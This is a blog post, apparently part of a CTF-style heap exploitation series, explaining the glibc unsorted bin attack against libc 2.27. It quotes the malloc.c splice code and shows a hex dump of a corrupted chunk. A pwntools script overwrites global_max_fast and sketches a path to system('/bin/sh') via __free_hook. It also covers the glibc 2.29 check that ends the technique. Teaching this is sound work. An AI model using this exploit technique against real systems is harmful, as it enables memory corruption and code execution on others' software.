algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

the unsorted bin attack

2026-06-134 min readheap pwn glibc

Most write primitives let you choose the value. This one doesn't — it always writes the same value (a libc pointer), to an address you pick. That asymmetry makes it feel useless at first. It isn't: aimed at the right global, "write a huge number here" rewrites the rules of the allocator itself.

target./uba
arch
amd64-64-little
libc
2.27 (the unsorted bin attack died in 2.29)
technique
unsorted-bin scan -> write a libc pointer to a chosen address
primitive
you control WHERE, not WHAT

the write hiding in the malloc loop#

When malloc scans the unsorted bin, it pulls the last chunk (victim) off the list and splices it out with these lines:

glibc malloc.c — unsorted bin scan, abridgedc
1
2
3
4
victim = unsorted_chunks(av)->bk;     // last chunk in the bin
bck = victim->bk;                     // the chunk behind it
unsorted_chunks(av)->bk = bck;        // bin head's bk -> bck
bck->fd = unsorted_chunks(av);        // *** bck->fd = &the unsorted bin ***

That last line is the bug. bck comes straight from victim->bk, which you control if you can corrupt a freed chunk. And bck->fd is *(bck + 0x10). So if you set:

victimbk=target0x10

then bck = target - 0x10, and the allocator writes unsorted_chunks(av) — a libc address — to *(target - 0x10 + 0x10) = *target. One freed chunk, one overwritten bk, one malloc, and target now holds a libc pointer:

freed unsorted chunk — bk overwritten to target-0x10hex
00000000  00 00 00 00 00 00 00 00  91 00 00 00 00 00 00 00  |................|
00000010  60 87 ec f7 ff 7f 00 00  18 c0 60 00 00 00 00 00  |`.........`.....|

(fd left intact pointing into libc; bk now points at target - 0x10.)

the value you can't choose#

The thing written is always unsorted_chunks(av) = &main_arena.bins[0] - 0x10 — a fixed offset into libc. You can't make it a gadget or a /bin/sh. So the attack is only useful where a large libc-ish number is enough:

  • global_max_fast — the headline use. It's the cap on what counts as a fastbin-sized chunk. Overwrite it with a giant value and suddenly every size is "fast," so you can run a fastbin dup on large chunks (and the fastbin's checks are far thinner than the sorted bins'). This is the launch pad for several of the bigger Houses.
  • a size / loop bound — turn a bounded counter into an unbounded one.
  • _IO_list_all — the seed of the House of Orange, where the libc pointer you drop becomes the entry into a forged FILE chain.

you just corrupted the bin

After the write, the unsorted bin's bk points at target - 0x10, which is not a real chunk. The next unsorted-bin operation will try to treat it as one and likely crash. Do the attack, then immediately use what it bought you (e.g. allocate from the now-poisoned fastbin) before touching the unsorted bin again.

driving it#

uba.pypython
1
2
3
4
5
6
7
8
9
from pwn import *
io = process("./uba"); libc = ELF("./libc.so.6", checksec=False)
libc.address = leak - libc.sym["main_arena"] - 0x60     # from an unsorted-bin leak

gmf = libc.sym["global_max_fast"]
free(chunk)                                   # chunk -> unsorted bin
edit(chunk, p64(0) + p64(gmf - 0x10))         # fd untouched, bk = &global_max_fast - 0x10
alloc(0x80)                                   # the scan fires the write: global_max_fast = huge
# every size is "fast" now -> fastbin-dup a 0x400 chunk onto __free_hook, etc.
where it lands you

With global_max_fast blown open, a fastbin dup on an arbitrary size drops a chunk onto __free_hook; set it to system, free "/bin/sh":

txt
segfault{wh3r3_n0t_wh4t}

modern status#

glibc 2.29 added an integrity check to the very loop above:

glibc 2.29 — malloc.cdiff
+  if (__glibc_unlikely (bck->fd != victim))
+    malloc_printerr ("malloc(): corrupted unsorted chunks 3");

Since your forged bck (target - 0x10) doesn't have an fd pointing back at victim, the check fails and the process aborts. So the unsorted bin attack is a ≤ 2.28 move — but its spirit lives on in tcache-era equivalents, and global_max_fast is still a juicy target whenever you do land an arbitrary write.

That closes the classic bins. Part 6 is the one you'll actually use on a modern box: tcache poisoning — where the bin barely checks anything and a single forged fd gives you allocation anywhere.